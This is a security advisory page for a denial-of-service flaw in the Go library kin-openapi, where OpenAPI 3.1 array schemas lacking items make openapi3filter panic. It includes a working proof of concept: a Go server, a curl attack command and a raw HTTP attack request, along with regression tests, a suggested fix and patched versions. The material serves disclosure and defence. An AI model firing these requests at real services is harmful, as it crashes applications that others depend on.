CVE-2026-97394 is a high-severity (CVSS 7.5) CWE-248 vulnerability in github.com/getkin/kin-openapi. A fix is available for github.com/getkin/kin-openapi — see the affected versions and patch details below.
kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-97394.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-97394 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
github.com/getkin/kin-openapiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A nil-pointer dereference in openapi3filter lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI 3.1 operation that declares type: array without items. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting items, and doc.Validate() accepts such schemas with Schema.Items == nil. Request/response decoders then dereference Items with no nil check. The panic is deterministic (100%) on every request to the affected operation. There is no recover() in openapi3filter; under handlers without per-request recover the process can exit.
Details
Spec-validation asymmetry. OpenAPI 3.0 rejects array schemas that omit items (openapi3/schema.go around the TypeArray / newSchemaItemsRequired branch). For OpenAPI 3.1, T.Validate enables jsonSchema2020ValidationEnabled, so that check is skipped and Schema.Items remains nil after a clean doc.Validate().
Vulnerable decoder. The primary request-side crash is in UrlencodedBodyDecoder (still present on this checkout at L1421):
case propType.Is("array"):
items := propSchema.Value.Items.Value // Items == nil → panic
This runs during schema inspection before form values are parsed. Any non-empty application/x-www-form-urlencoded body for the operation reaches the dereference (an empty body is rejected earlier when requestBody.required is true, and never enters the decoder).
The same nil Items also crashes:
| Path | Location | Trigger |
|---|---|---|
MultipartBodyDecoder | req_resp_decoder.go ~1564 → 1579 | multipart/form-data part named like the array property |
parseArray → parsePrimitive | req_resp_decoder.go ~1129 / 1151 | Array-typed response headers via ValidateResponse, and path/cookie array params |
Middleware / ValidationHandler call ValidateRequest / ValidateResponse directly with no recover, so the panic escapes the library into the application.
Recommended fix. Guard nil Items and return a structured decode/validation error, e.g.:
case propType.Is("array"):
+ if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil {
+ return nil, fmt.Errorf("unsupported schema of request body's property %q: array items required for decoding", propName)
+ }
items := propSchema.Value.Items.Value
Apply equivalent guards in MultipartBodyDecoder and parseArray before calling parsePrimitive.
PoC
Verified against revision c11a4812ba7be3ee3d81453be0c397ee84c238d5, Go 1.25, darwin/arm64.
1. Spec — OpenAPI 3.1 operation with urlencoded body and type: array property without items:
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
2. E2E program — net/http server using the same public entrypoint (gorillamux → openapi3filter.ValidateRequest) real middleware uses. Save as main.go in a module that depends on github.com/getkin/kin-openapi at a vulnerable revision, then go run .:
package main
import (
"fmt"
"log"
"net/http"
"strings"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const spec = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
func main() {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(spec))
if err != nil {
log.Fatal(err)
}
if err := doc.Validate(loader.Context); err != nil {
log.Fatalf("doc.Validate rejected (unexpected for 3.1): %v", err)
}
fmt.Println("SPEC_ACCEPTED; Items ==", doc.Paths.Value("/f").Post.RequestBody.Value.
Content.Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value.Items)
router, err := gorillamux.NewRouter(doc)
if err != nil {
log.Fatal(err)
}
// Direct call (no net/http recover): proves the library itself panics.
req, _ := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
route, pp, _ := router.FindRoute(req)
func() {
defer func() {
if r := recover(); r != nil {
fmt.Printf("DIRECT_PANIC: %v\n", r)
}
}()
_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
Request: req, PathParams: pp, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
fmt.Println("DIRECT_PANIC: none (unexpected)")
}()
mux := http.NewServeMux()
mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
route, pathParams, err := router.FindRoute(r)
if err != nil {
http.Error(w, err.Error(), http.StatusNotFound)
return
}
err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
Request: r, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
w.WriteHeader(http.StatusOK)
_, _ = w.Write([]byte("ok\n"))
})
addr := "127.0.0.1:8085"
fmt.Printf("listening on http://%s/f\n", addr)
fmt.Println("attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://" + addr + "/f")
log.Fatal(http.ListenAndServe(addr, mux))
}
3. Observed output (go run .):
SPEC_ACCEPTED; Items == <nil>
DIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference
listening on http://127.0.0.1:8085/f
Then:
curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f
Server log:
http: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference
… openapi3filter.UrlencodedBodyDecoder …/req_resp_decoder.go:1421
… openapi3filter.ValidateRequest …
Stack pins the fault to UrlencodedBodyDecoder at req_resp_decoder.go:1421, called from ValidateRequest → ValidateRequestBody → decodeBody.
Attack request:
POST /f HTTP/1.1
Host: victim
Content-Type: application/x-www-form-urlencoded
tags=a
(Any non-empty body is enough; form content is irrelevant because Items is dereferenced during schema inspection before parsing.)
4. Regression / multi-surface test suite — save as e.g. openapi3filter/array_items_nil_panic_test.go in a checkout of the module and run go test -run TestArrayItemsNilPanic ./openapi3filter/ -v:
package openapi3filter_test
import (
"bytes"
"context"
"fmt"
"io"
"mime/multipart"
"net/http"
"net/http/httptest"
"strings"
"testing"
"github.com/stretchr/testify/require"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const urlencodedSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
const urlencodedSpec30 = `
openapi: 3.0.3
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
const multipartSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/upload:
post:
requestBody:
required: true
content:
multipart/form-data:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
const responseHeaderSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/hdr:
get:
responses:
'200':
description: ok
headers:
X-Tags:
schema: {type: array}
`
func catchPanic(fn func()) (panicValue any) {
defer func() { panicValue = recover() }()
fn()
return nil
}
func TestArrayItemsNilPanic_OpenAPI31Accepts(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
schema := doc.Paths.Value("/f").Post.RequestBody.Value.Content.
Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value
require.True(t, schema.Type.Is("array"))
require.Nil(t, schema.Items)
}
func TestArrayItemsNilPanic_OpenAPI30Rejects(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec30))
require.NoError(t, err)
require.Error(t, doc.Validate(loader.Context))
}
func TestArrayItemsNilPanic_UrlencodedValidateRequest(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
require.NoError(t, err)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
route, pathParams, err := router.FindRoute(req)
require.NoError(t, err)
got := catchPanic(func() {
_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
})
require.NotNil(t, got)
require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}
func TestArrayItemsNilPanic_MultipartValidateRequest(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(multipartSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
var buf bytes.Buffer
w := multipart.NewWriter(&buf)
require.NoError(t, w.WriteField("tags", "a"))
require.NoError(t, w.Close())
req, err := http.NewRequest(http.MethodPost, "/upload", &buf)
require.NoError(t, err)
req.Header.Set("Content-Type", w.FormDataContentType())
route, pathParams, err := router.FindRoute(req)
require.NoError(t, err)
got := catchPanic(func() {
_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
})
require.NotNil(t, got)
require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}
func TestArrayItemsNilPanic_ResponseHeaderValidateResponse(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(responseHeaderSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
req, err := http.NewRequest(http.MethodGet, "/hdr", nil)
require.NoError(t, err)
route, pathParams, err := router.FindRoute(req)
require.NoError(t, err)
got := catchPanic(func() {
_ = openapi3filter.ValidateResponse(loader.Context, &openapi3filter.ResponseValidationInput{
RequestValidationInput: &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
},
Status: http.StatusOK,
Header: http.Header{"X-Tags": []string{"a,b"}},
Body: io.NopCloser(strings.NewReader("")),
})
})
require.NotNil(t, got)
require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}
func TestArrayItemsNilPanic_E2EHTTPServer(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
var panicCount int
mux := http.NewServeMux()
mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
defer func() {
if recover() != nil {
panicCount++
http.Error(w, "panic in ValidateRequest", http.StatusInternalServerError)
}
}()
route, pathParams, err := router.FindRoute(r)
require.NoError(t, err)
err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
Request: r, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
w.WriteHeader(http.StatusOK)
})
srv := httptest.NewServer(mux)
t.Cleanup(srv.Close)
const n = 5
for i := 0; i < n; i++ {
resp, err := http.Post(srv.URL+"/f", "application/x-www-form-urlencoded", strings.NewReader("tags=a"))
require.NoError(t, err)
_, _ = io.ReadAll(resp.Body)
_ = resp.Body.Close()
require.Equal(t, http.StatusInternalServerError, resp.StatusCode)
}
require.Equal(t, n, panicCount)
}
func TestArrayItemsNilPanic_Deterministic(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
const attempts = 50
panics := 0
for i := 0; i < attempts; i++ {
req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=x"))
require.NoError(t, err)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
route, pathParams, err := router.FindRoute(req)
require.NoError(t, err)
if catchPanic(func() {
_ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
}) != nil {
panics++
}
}
require.Equal(t, attempts, panics)
}
Observed results on the vulnerable tree:
- 3.1 accepts the schema (
Items == nil); 3.0 rejects it - urlencoded, multipart, and response-header paths all panic with
nil pointer dereference - 50/50 panic rate (100% deterministic)
- E2E httptest server: 5/5 POSTs panic inside
ValidateRequest→ HTTP 500
Impact
- Type: NULL Pointer Dereference → unauthenticated remote denial of service.
- Who is impacted: applications using
github.com/getkin/kin-openapi/openapi3filterto validate requests/responses against OpenAPI 3.1 documents that contain anitems-lesstype: arrayin a urlencoded or multipart body property, or an array-typed response header (or otherparseArraysurfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded —doc.Validate()does not reject them under 3.1. - Attack: a single unauthenticated POST (or response-validation hit) with a tiny non-empty body.
- Consequence: deterministic panic on every request to the operation. With stock
net/http, the server logshttp: panic servingand aborts the connection; without per-request recover (common outside purenet/httphandlers), the process can crash. - Not affected: OpenAPI 3.0 documents (spec validation rejects missing
items); JSON request bodies (different decoder path that does not hit thisItems.Valueinspection).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/getkin/kin-openapi | ≥ 0.136.0&&< 0.143.0 | 0.143.0go get github.com/getkin/kin-openapi@v0.143.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/getkin/kin-openapi, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/getkin/kin-openapi to 0.143.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-97394 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Hardened Images | grafana13-2-main-13.2.3-0.1.hum1 | RHSA-2026:76430 |
| Red Hat Hardened Images | grafana13-1-main-13.1.7-0.1.hum1 | RHSA-2026:76448 |
| Red Hat Hardened Images | grafana12-4-main-12.4.12-0.4.hum1 | RHSA-2026:76677 |
| Red Hat Hardened Images | hugo-main-0.168.0-0.1.hum1 | RHSA-2026:82637 |
Frequently Asked Questions
Is CVE-2026-97394 in your dependencies?
Find it across Go, including transitive dependencies.